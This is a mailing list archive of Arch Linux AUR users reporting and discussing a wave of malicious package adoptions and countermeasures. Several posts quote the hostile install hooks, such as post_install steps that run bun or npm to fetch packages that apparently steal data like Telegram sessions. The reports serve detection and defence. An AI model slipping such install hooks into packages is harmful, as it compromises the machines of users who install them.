June 2026 - Aur-general - lists.archlinux.org

[SECURITY] Possibly malicious AUR package: nodejs-pkg
by Andreas Reichel 14 Jun '26

14 Jun '26

Subject: [SECURITY] Possibly malicious AUR package: nodejs-pkg Package : nodejs-pkg AUR page: https://aur.archlinux.org/packages/nodejs-pkg Scanner : aurscan (automated Claude-model PKGBUILD analysis) Verdict : SUSPICIOUS (confidence 72%) Summary : The package() function fetches the package live from the npm registry at build time (`npm install -g pkg@5.8.1`) rather than using the tarball declared in source=(). This bypasses the integrity check provided by sha512sums and introduces an unverified network dependency at install time. Findings: - [warning] PKGBUILD: Fetches the package live from the npm registry instead of using the source tarball that was checksummed. The verified tarball is never used (noextract, commented-out install). This means the installed content is not covered by the sha512sums integrity check. snippet: npm install -g pkg@${pkgver} --user root --prefix "${pkgdir}/usr" - [info] PKGBUILD: The correct installation method using the downloaded and checksummed source tarball is commented out, while the live-network fetch is active. This is backwards from safe packaging practice. snippet: #npm install -g --user root --prefix "${pkgdir}/usr" "${srcdir}/${pkgname}-${pkgver}.tar.gz" - [warning] PKGBUILD: The source tarball is downloaded and checksummed but never actually used in the build, making the integrity check effectively meaningless for what gets installed. snippet: noextract=("${pkgname}-${pkgver}.tar.gz") NOTE: This report was produced by an automated LLM-based scanner and has been reviewed by the submitting user before sending. Please verify independently.

3 4

AUR REPORT THREAD
by Jonathan Grotelüschen 14 Jun '26

14 Jun '26

Hi everyone, we’re working hard to reset/delete all malicious commits and ban the accounts. If you find more malicious packages, please **send them as a reply to this email** to keep them all in one thread. Thanks! -- tippfehlr

29 74

Can I re-have back some packages?
by Timothy Redaelli 14 Jun '26

14 Jun '26

Hi, I'm a deputy trusted user, can I rehave back a couple packages I created (AUR) and that now are corrupted with the bun hack so I can fix and maintain those? - ar-smileys - melis-wallet-bin Thank you

2 1

Re: Idea for preventing malicious packages
by David C Rankin 14 Jun '26

14 Jun '26

On 6/13/26 1:43 AM, Ralf Mardorf wrote: > On Sat, 2026-06-13 at 01:23 -0500, David C Rankin wrote: >> You should add a "rep" for each AUR user. For each review the user >> should gain, e.g. +1 for the effort. Any review failure should cost, >> e.g. -50 and result in account suspension for X? days. > Hi David, > > we usually see eye to eye, but in this case we couldn't agree less. Point made. What I've distilled from all the suggestions, that would help with the AUR issue, not some other attack, and not protecting against the infinitely patient bad-guy, boils down to two possibilities: 1. A waiting period for adoption. (7, 14, 21, 30, whatever days, packages with npm/pypi/etc get manual review) 2. Review of the first X number of commits. (if just by script added to the workflow that checks keywords) The why not add (2) for all commits if it is not resource intensive. This doesn't prevent the infinitely patient bad-guy from waiting out the waiting period before deploying the malware, but they would still be caught by (2) if it does a good job. Nothing will be perfect, but if we can cut at 1600 package attack down to a 20 package attack, we've gone a long way toward protecting users and protecting AUR. This preserves AUR in it's current form with wide-open anonymous account registration but adds some guardrails against a mass attack to make AUR a less-inviting target. Further, (1) and (2) can simply be added to the workflow and do not require our non-existent human-in-the-loop. Though I still think the human-in-the-loop is the Cadillac version, (1) and (2) are doable and would help. I talked with the SUSE/openSUSE folks about what prevents the same thing from happening to OBS (see opensuse-factory list thread "How secure is OBS against package poisoning and which list to ask on?") The big differences are the OBS account and no orphan pool. Nothing prevents an OBS user from uploading a malicious file to their OBS account, but there are no anonymous OBS accounts. The only way the poisoning and upload would occur is (1) a malicious account got by the SUSE registration process, or (2) an existing OBS user's account was compromised. In either case the "scale" is limited to a one-at-a-time issue. Nothing in the AUR or OBS case protects against a poisoned upstream source. If we are thorough with the script in (2) above and had it scan the sources as well to flag keywords there, that could be mitigated to a degree. In the AUR case, any source scanning would have to be added as part of the makepkg process, and compute required would just be part of the build process if something like that is even doable. With OBS that can occur as part of the build since the build is carried out by OBS, not on the user's machine. Even if (1) and (2) only cut the malware by 1/2, that's a lot of moderator time and user risk avoided. -- David C. Rankin, J.D.,P.E.

3 3

Re: Idea for preventing malicious packages
by sketch-hamlet-nape＠duck.com 13 Jun '26

13 Jun '26

Hi all, Yesterday I wrote a similiar thread on forum: https://bbs.archlinux.org/viewtopic.php?pid=2301093#p2301093 Cheers, Hexxal (aka silensys) Sent with Proton Mail secure email. On Saturday, June 13th, 2026 at 20:13, Claudia Pellegrino <auerhuhn_at_archlinux.org_sketch-hamlet-nape(a)duck.com> wrote: > Hi David, > > > > In the AUR case, any source scanning would have to be added as > > part of the makepkg process, and compute required would just be part of > > the build process if something like that is even doable. > Fyi, there’s some experimental work in progress (private, not endorsed > by Arch developers) to add pluggable, user-controlled upstream source > auditing to makepkg. [1] [2] > > Regards > Claudia > > > [1]: > https://gitlab.archlinux.org/auerhuhn/libmakepkg-srcaudit/-/blob/main/READM… > > [2]: > https://gitlab.archlinux.org/auerhuhn/libmakepkg-hexora/-/blob/main/README.… > >

1 0

Idea for preventing malicious packages
by Carson Coder 13 Jun '26

13 Jun '26

We very much need to find a solution for preventing malicious packages. My idea is to give each new user a "score", if a user makes a commit and there score is below some threshold that commit must be manually reviewed. When these commits then influence the user's score. For example, if a new user makes a simple commit (like updating the version of a package) their score might go up by one or not change at all. On the other hand, if they add a new package or make a major update to a package, their score would go up by more. That way a malicious user would need to actually make meaningful commits, which is harder to automate and at least does some good for the aur. I have said this idea already around 2 weeks ago and I am bringing it up again because it seems relevant. The problem with just flagging the first 10 commits is that its not very hard to automate updating the version of 10 packages. Or flagging commits for a week would just result in people waiting a week before making malicious commits.

5 5

AURSCAN: scan AUR package with Claude LLM before installing
by Andreas Reichel 13 Jun '26

13 Jun '26

Greetings. The recommendation to read every and any AUR package before installing is certainly correct. Although it is also over my head because I would not have known of any of those malware attempts. So out of desperation, I drafted a AUR package scanner wrapping YAY and scanning every AUR package with a Claude LLM before installing. Its a first POC and I know nothing, but maybe some find it useful and want to join. We are all affected so lets work on this together. https://github.com/manticore-projects/aurscan In my tests, the consumed Token cost around 3 cent per package. Money well spent. Best and cheers Andreas

3 3

Re: AURSCAN: scan AUR package with Claude LLM before installing
by Andreas Reichel 13 Jun '26

13 Jun '26

On Sat, 2026-06-13 at 06:12 +0200, Ralf Mardorf wrote: > On Sat, 2026-06-13 at 10:34 +0700, Andreas Reichel wrote: > > Claude LLM > > You cast out devils by Beelzebub! > > Your example "google-chrome" has got 2352 votes and was never > orphaned. Thank you again, I have updated the Readme w/ a more realistic example: $ syay firefox-patch-bin scanning firefox-patch-bin (3 files) ... [ MAL! ] firefox-patch-bin confidence 95% A source labelled "patches" points at a personal GitHub repo unrelated to Firefox and is executed during build — the July 2025 CHAOS RAT vector. [critical] PKGBUILD: Disguised source pulls attacker-controlled code. > patches::git+https://github.com/.../zenbrowser-patch.git ↳ tokens: 12,431 in / 214 out · $0.0413 scanner usage: 1 call(s) · tokens: 12,431 in / 214 out · $0.0413 !! Installation blocked: 1 package(s) flagged MALICIOUS. [A]bort (default) / [r]eport to mailing list & abort / [c]ontinue anyway:

1 0

Re: AURSCAN: scan AUR package with Claude LLM before installing
by Andreas Reichel 13 Jun '26

13 Jun '26

On Sat, 2026-06-13 at 06:12 +0200, Ralf Mardorf wrote: > On Sat, 2026-06-13 at 10:34 +0700, Andreas Reichel wrote: > > Claude LLM > > You cast out devils by Beelzebub! > > Your example "google-chrome" has got 2352 votes and was never > orphaned. Thank you for the feedback. It was just an illustration! And nobody claims that it is perfect! But when it is better than what I can achieve by reading the build source, then it is added value for me.

1 0

Likely Malicious Account: ivonahruskova
by Joom 13 Jun '26

13 Jun '26

This account was created June 11th using a bogus Gmail address, and took ownership of both vbam-git, and mingw-w64-geos. At the time of writing, there do not appear to be any malicious commits (I have a local copy of vbam-git's PKGBUILD, which was not updated yesterday when doing a git pull), but since this attack has been done in waves, it's possible these were being reserved for a third, especially since the account was created after previous waves. Account: https://aur.archlinux.org/account/ivonahruskova Packages: https://aur.archlinux.org/packages?K=ivonahruskova&SeB=m

1 0

Proposal: compile affected commit hashes + date ranges per package
by undefined undefined 12 Jun '26

12 Jun '26

Hello there, this is my first time using a mailing list :) I've run some checks on my machines and found that at least libgdata and subbrute are present on my PCs. However, they were both last updated several months ago, so I can't verify for sure whether the malware is present or not. I was thinking of cross-referencing expac info about installed packages against git log dates, but since the malicious commits were removed from the AUR with --force, I'm not sure how to do that anymore -- especially as my setup cleans .cache/yay regularly, so I don't have the local clones to inspect either. Having a list with the malicious commit hashes and dates would likely help automate checks for folks like me. Vladimir T

1 0

Proposal: Make AUR read only before we delete all the malware and figure an solution to it, to stop more coming
by Sigma Twoja-Stara 12 Jun '26

12 Jun '26

As i see, recently theres very much malicioud packages, that i decided to stop updating my aur packages. We could put aur read only, so we can remove all malware and figure solutions before new one arrives.

16 16

Possible bad actor
by aur hpminc.com 12 Jun '26

12 Jun '26

User simongeisler adopted a package I orphaned so I went to check it out. User just registered 3 days ago and has adopted 16 packages. User hasn't updated any PKGBUILDs yet, so I can't say one way or the other if anything bad is going on. With all the malicious packages being uploaded lately by new users adopting orphaned packages I thought it was worth pointing out. Paul

1 0

Re: Proposal: Make AUR read only before we delete all the malware and figure an solution to it, to stop more coming
by Michael Shaw 12 Jun '26

12 Jun '26

On Friday, June 12th, 2026 at 8:31 PM, archlinux.slogan162(a)passmail.net <archlinux.slogan162(a)passmail.net> wrote: > Looking at the attack leveraging a small amount of accounts which are adopting a lot of packages within a very short amount of time, I wonder if a less nuclear solution may be to ratelimit/flag accounts that do so. That way, the bottleneck becomes the speed at which the attacker gains access to AUR accounts or creates them. The regular Captcha protection may be leveraged here. > > I apologize if a similar suggestion was already made. I definitely agree that some risk modelling can alleviate these mass attacks, however, setting up and tuning parameters, then testing that it actually does have preventative power, takes time. In my opinion, the direction we should take is freeze now, identify current threats (we now have multiple variants using other JavaScript package managers), then enact this new model when it's ready, as well as other mitigations, since that alone won't be enough.

1 0

Re: AUR REPORT THREAD
by PerikiyoXD 12 Jun '26

12 Jun '26

- sonixd https://aur.archlinux.org/cgit/aur.git/commit/?h=sonixd&id=1753cf6624a9d95c… - sachesi-bin https://aur.archlinux.org/cgit/aur.git/commit/?h=sachesi-bin&id=f9b05850af5…

1 0

Suspicious/malicious update to alvr
by Kusoneko 12 Jun '26

12 Jun '26

Hello, The newest maintainer for the alvr AUR package has made a commit that adds npm packages to what is quite clearly not a npm project. As well as replaced the email addresses of previous maintainers with their own while keeping the same name as the latest committer. More can be seen from the comments of various users since this update has been pushed. https://aur.archlinux.org/cgit/aur.git/tree/alvr- deps.install?h=alvr&id=0a0ba889acbf354b5d912240993bffcb4ca21f29 Package link: https://aur.archlinux.org/packages/alvr New maintainer/malicious user: krisztinavarga Thank you, Kusoneko.

4 3

New wave of attack using bun
by Cedric Girard 12 Jun '26

12 Jun '26

Hi, There is a whole new wave of PKGBUILD being adopted with probably malicious command added. This time using a tool called "bun". Some examples: * https://aur.archlinux.org/pkgbase/guiscrcpy * https://aur.archlinux.org/pkgbase/netmon-git Regards, -- Cedric Girard

3 3

Re: AUR REPORT THREAD
by lists.archlinux＠ihavea.quest 12 Jun '26

12 Jun '26

miniongg has had a suspicious update: ``` +post_install() {{ + cd /tmp + bun add minimist js-digest +}} ``` See: https://aur.archlinux.org/cgit/aur.git/commit/?h=miniongg&id=58250f380c60f3… ttf-mutant-emoji even overwrites my identity See: https://aur.archlinux.org/cgit/aur.git/commit/?h=ttf-mutant-emoji&id=530ea1… ttf-mutant-emoji: https://aur.archlinux.org/packages/ttf-mutant-emoji miniongg: https://aur.archlinux.org/packages/miniongg -- txtsd https://ihavea.quest On 6/11/26 11:17 PM, Jonathan Grotelüschen wrote: > Hi everyone, > > we’re working hard to reset/delete all malicious commits and ban the > accounts. > > If you find more malicious packages, please **send them as a reply to > this email** to keep them all in one thread. > > Thanks! > > -- > tippfehlr

1 0

Re: AUR REPORT THREAD
by Nicolas Boichat 12 Jun '26

12 Jun '26

Indeed. I guess there's some caching involved. Thanks! On Fri, Jun 12, 2026, 13:37 Ralf Mardorf <ralf.mardorf(a)alice-dsl.net> wrote: > I had the same impression earlier with another package, but after > refreshing the page, the problem disappeared. > > The package you mentioned seems to be ok, too. > > https://aur.archlinux.org/cgit/aur.git/log/?h=python-axolotl-git > > On Fri, 2026-06-12 at 12:42 +0800, Nicolas Boichat wrote: > > This one still look bad: > > https://aur.archlinux.org/cgit/aur.git/commit/?h=python-axolotl-git > > > > > > On Fri, 12 Jun 2026 at 01:47, Jonathan Grotelüschen > > <tippfehlr(a)archlinux.org> wrote: > > > > > > Hi everyone, > > > > > > we’re working hard to reset/delete all malicious commits and ban the > > > accounts. > > > > > > If you find more malicious packages, please **send them as a reply > > > to > > > this email** to keep them all in one thread. > > > > > > Thanks! > > > > > > -- > > > tippfehlr >

2 1

Malicious update to gnome-randr-rust
by Mark Wagie 11 Jun '26

11 Jun '26

A new Maintainer adopted gnome-randr-rust and added an install file with the following: npm install atomic-lockfile yargs https://aur.archlinux.org/cgit/aur.git/commit/?h=gnome-randr-rust&id=da9f4c…

17 38

Few more malicious packages
by Sasha Moak 11 Jun '26

11 Jun '26

I wasn't subbed to the list to get the AUR REPORT THREAD, but here are some more suspicious packages: All doing the npm shenanigans so definitely sus: https://aur.archlinux.org/packages/android-support-repository https://aur.archlinux.org/packages/monochrome https://aur.archlinux.org/packages/blinkenlib https://aur.archlinux.org/packages/perl-set-object

1 0

Malicious users franziskaweber tobiaswesterburg ellenmyklebust
by Fabio Loli 11 Jun '26

11 Jun '26

Hi all, I've checked the updates notification so far, these are all malicious https://aur.archlinux.org/packages?K=franziskaweber&SeB=m https://aur.archlinux.org/packages?K=tobiaswesterburg&SeB=m https://aur.archlinux.org/packages?K=ellenmyklebust&SeB=m

1 0

Re: Reply to topic: 'multiple malicious AUR updates'
by Mark Wagie 11 Jun '26

11 Jun '26

...and another one gnome-terminal-fedora: https://aur.archlinux.org/cgit/aur.git/commit/?h=gnome-terminal-fedora&id=8…

2 2

Malicious updates zathura-gruvbox-git, python2-mutagen, fastoggenc etc
by Fabio Loli 11 Jun '26

11 Jun '26

2 1

Malicious commits: pypiserver, anythingllm-cli-bin, python-dbapi-compliance
by Ilaï Deutel 11 Jun '26

11 Jun '26

Hello, Commits from new AUR user meryemplath seem to be malicious. I disowned the pypiserver package yesterday. meryemplath took ownership today and immediately pushed a commit impersonating me, adding a malicious post-install script. It installs atomic-lockfile, a NPM package that executes a binary blob as post-install script. There is no reason NPM should be a dependency for pypiserver. I haven't fully analyzed atomic-lockfile's binary blob, but it contains references to private data e.g. .local/share/TelegramDesktop/tdatasnap/telegram-desktop/current/.local/share/TelegramDesktop/tdata, so I'm assuming this is an exfiltration attempt. Affected packages: - pypiserver (previously maintained by me) - python-dbapi-compliance (previously maintained by Felix Yan) - anythingllm-cli-bin (previously maintained by Julian Corbet) Cheers, Ilaï

2 1